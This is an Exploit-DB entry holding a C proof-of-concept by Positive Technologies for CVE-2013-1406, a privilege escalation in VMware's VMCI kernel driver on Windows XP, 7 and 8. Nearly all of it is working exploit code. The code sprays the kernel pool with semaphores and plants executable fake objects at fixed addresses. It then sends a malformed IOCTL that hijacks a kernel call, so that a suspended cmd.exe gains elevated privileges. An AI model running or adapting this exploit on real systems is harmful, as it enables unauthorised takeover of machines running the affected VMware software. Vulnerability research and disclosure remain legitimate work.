VMware Virtual Machine Communication Interface (VMCI) - 'vmci.sys'

EDB-ID:

40164




Platform:

Multiple

Date:

2013-03-06


/*
    CVE-2013-1406 exploitation PoC
    by Artem Shishkin,
    Positive Research,
    Positive Technologies,
    02-2013
*/

void __stdcall FireShell(DWORD dwSomeParam)
{
    EscalatePrivileges(hProcessToElevate);
    // Equate the stack and quit the cycle
#ifndef _AMD64_
    __asm
    {
        pop ebx
        pop edi
        push 0xFFFFFFF8
        push 0xA010043
    }
#endif
}


HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
    HANDLE            hResult = 0;
    DWORD            dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
        {
            hResult = pHandleTable->Handles[i].HandleValue;
            break;
        }
    }

    return hResult;
}

PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    PVOID    pResult = 0;
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pResult = (HANDLE)pHandleTable->Handles[i].Object;
            break;
        }
    }

    return pResult;
}

void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pHandleTable->Handles[i].Object = NULL;
            pHandleTable->Handles[i].HandleValue = NULL;
            break;
        }
    }

    return;
}

void PoolSpray()
{
    // Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Such a fail...\n");
        return;
    }
    
    // Determine object size
    // xp: 
    //const DWORD_PTR dwSemaphoreSize = 0x38;
    // 7:
    //const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize = 0;

    if (LOBYTE(GetVersion()) == 5)
    {
        dwSemaphoreSize = 0x38;
    }
    else if (LOBYTE(GetVersion()) == 6)
    {
        dwSemaphoreSize = 0x48;
    }

    unsigned int cycleCount = 0;
    while (cycleCount < 50000)
    {
        HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
        if (hTemp == NULL)
        {
            break;
        }

        ++cycleCount;
    }

    printf("\t[+] Spawned lots of semaphores\n");

    printf("\t[.] Initing pool windows\n");
    Sleep(2000);

    DWORD dwNeeded = 4096;
    NTSTATUS status = 0xFFFFFFFF;
    PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

    while (true)
    {
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
        if (status != STATUS_SUCCESS)
        {
            dwNeeded *= 2;
            VirtualFree(pBuf, 0, MEM_RELEASE);
            pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
        }
        else
        {
            break;
        }
    };

    HANDLE hHandlesToClose[0x30] = {0};
    DWORD dwCurPID = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;

    for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
        {
            DWORD_PTR    dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress = 0;
            bool        bPoolWindowFound = false;

            UINT iObjectsNeeded = 0;
            // Needed window size is vmci packet pool chunk size (0x218) divided by
            // Semaphore pool chunk size (dwSemaphoreSize)
            iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
        
            if (
                    // Not on a page boundary
                    ((dwTestObjAddr & 0xFFF) != 0) 
                    && 
                    // Doesn't cross page boundary
                    (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) 
                )
            {
                // Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
                if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
                {
                    continue;
                }

                for (unsigned int j = 1; j < iObjectsNeeded; j++)
                {
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
                    HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);

                    //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
                    //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
                    //printf("\tLooked up handle = %08X\n", hLookedUp);

                    if (hLookedUp != NULL)
                    {
                        hHandlesToClose[j] = hLookedUp;

                        if (j == iObjectsNeeded - 1)
                        {
                            // Now test the following object
                            dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
                            if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
                            {
                                hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
                                bPoolWindowFound = true;

                                dwWindowAddress = dwTestObjAddr;

                                // Close handles to create a memory window
                                for (int k = 0; k < iObjectsNeeded; k++)
                                {
                                    if (hHandlesToClose[k] != NULL)
                                    {
                                        CloseHandle(hHandlesToClose[k]);
                                        CloseTableHandle(pHandleTable, hHandlesToClose[k]);
                                    }
                                }
                            }
                            else
                            {
                                memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                                break;
                            }
                        }
                    }
                    else
                    {
                        memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                        break;
                    }
                }

                if (bPoolWindowFound)
                {
                    printf("\t[+] Window found at %08X!\n", dwWindowAddress);
                }

            }
        }
    }

    VirtualFree(pBuf, 0, MEM_RELEASE);

    return;
}

void InitFakeBuf(PVOID pBuf, DWORD dwSize)
{
    if (pBuf != NULL)
    {
        RtlFillMemory(pBuf, dwSize, 0x11);
    }

    return;
}

void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
{
    /*
        Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
        So, for every 0xXXXX0043 address we must suffice the following conditions:

        lea        edx, [eax+38h]
        lock    xadd [edx], ecx
        cmp        ecx, 1

        Some sort of lock at [addr + 38] must be equal to 1. And

        call    dword ptr [eax+0ACh]

        The call site is located at [addr + 0xAC]

        Also fake the object to be dereferenced at [addr + 0x100]
    */

    if (pBuf != NULL)
    {
        for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
        {
            PDWORD pLock = (PDWORD)(iAddr + 0x38);
            PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
            PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);

            *pLock = 1;
            *pCallMeMayBe = (DWORD_PTR)FireShell;
            *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
        }
    }

    return;
}

void PenetrateVMCI()
{
    /*

        VMware Security Advisory
        Advisory ID:    VMSA-2013-0002
        Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
        Issue date:    2013-02-07
        Updated on:    2013-02-07 (initial advisory)
        CVE numbers:    CVE-2013-1406

    */

    DWORD dwPidToElevate = 0;
    HANDLE hSuspThread = NULL;

    bool bXP = (LOBYTE(GetVersion()) == 5);
    bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
    bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));

    if (!InitKernelFuncs())
    {
        printf("[-] Like I don't know where the shellcode functions are\n");
        return;
    }

    if (bXP)
    {
        printf("[?] Who do we want to elevate?\n");
        scanf_s("%d", &dwPidToElevate);

        hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
        if (hProcessToElevate == NULL)
        {
            printf("[-] This process doesn't want to be elevated\n");
            return;
        }
    }

    if (b7 || b8)
    {
        // We are unable to change an active process token on-the-fly,
        // so we create a custom shell suspended (Ionescu hack)
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.wShowWindow = TRUE;

        WCHAR cmdPath[MAX_PATH] = {0};
        GetSystemDirectory(cmdPath, MAX_PATH);
        wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");

        if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
        {
            hProcessToElevate = pi.hProcess;
            hSuspThread = pi.hThread;
        }
    }

    HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hVMCIDevice != INVALID_HANDLE_VALUE)
    {
        UCHAR BadBuff[0x624] = {0};
        UCHAR retBuf[0x624] = {0};
        DWORD dwRet = 0;

        printf("[+] VMCI service found running\n");

        PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
        pVmReq->Header.RequestSize = 0xFFFFFFF0;
        
        PVOID pShellSprayBufStd = NULL;
        PVOID pShellSprayBufQtd = NULL;
        PVOID pShellSprayBufStd7 = NULL;
        PVOID pShellSprayBufQtd7 = NULL;
        PVOID pShellSprayBufChk8 = NULL;

        if ((b7) || (bXP) || (b8))
        {
            /*
                Significant bits of a PoolType of a chunk define the following regions:
                0x0A000000 - 0x0BFFFFFF - Standard chunk
                0x1A000000 - 0x1BFFFFFF - Quoted chunk
                0x0 - 0xFFFFFFFF - Free chunk - no idea

                Addon for Windows 7:
                Since PoolType flags have changed, and "In use flag" is now 0x2,
                define an additional region for Win7:

                0x04000000 - 0x06000000 - Standard chunk
                0x14000000 - 0x16000000 - Quoted chunk
            */
            
            pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
            {
                printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
                CloseHandle(hVMCIDevice);
                return;
            }

            InitFakeBuf(pShellSprayBufStd, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd, 0x2000000);
            InitFakeBuf(pShellSprayBufStd7, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd7, 0x2000000);

            PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);

            if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
            {
                SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
            }

            PoolSpray();

            if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
            {
                printf("\t[!] If you don't see any BSOD, you're successful\n");

                if (b7 || b8)
                {
                    ResumeThread(hSuspThread);
                }
            }
            else
            {
                printf("[-] Not this time %d\n", GetLastError());
            }

            if (pShellSprayBufStd != NULL)
            {
                VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
            }

            if (pShellSprayBufQtd != NULL)
            {
                VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
            }
        }

        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);

        CloseHandle(hVMCIDevice);
    }
    else
    {
        printf("[-] Like I don't see vmware here\n");
    }

    CloseHandle(hProcessToElevate);

    return;
}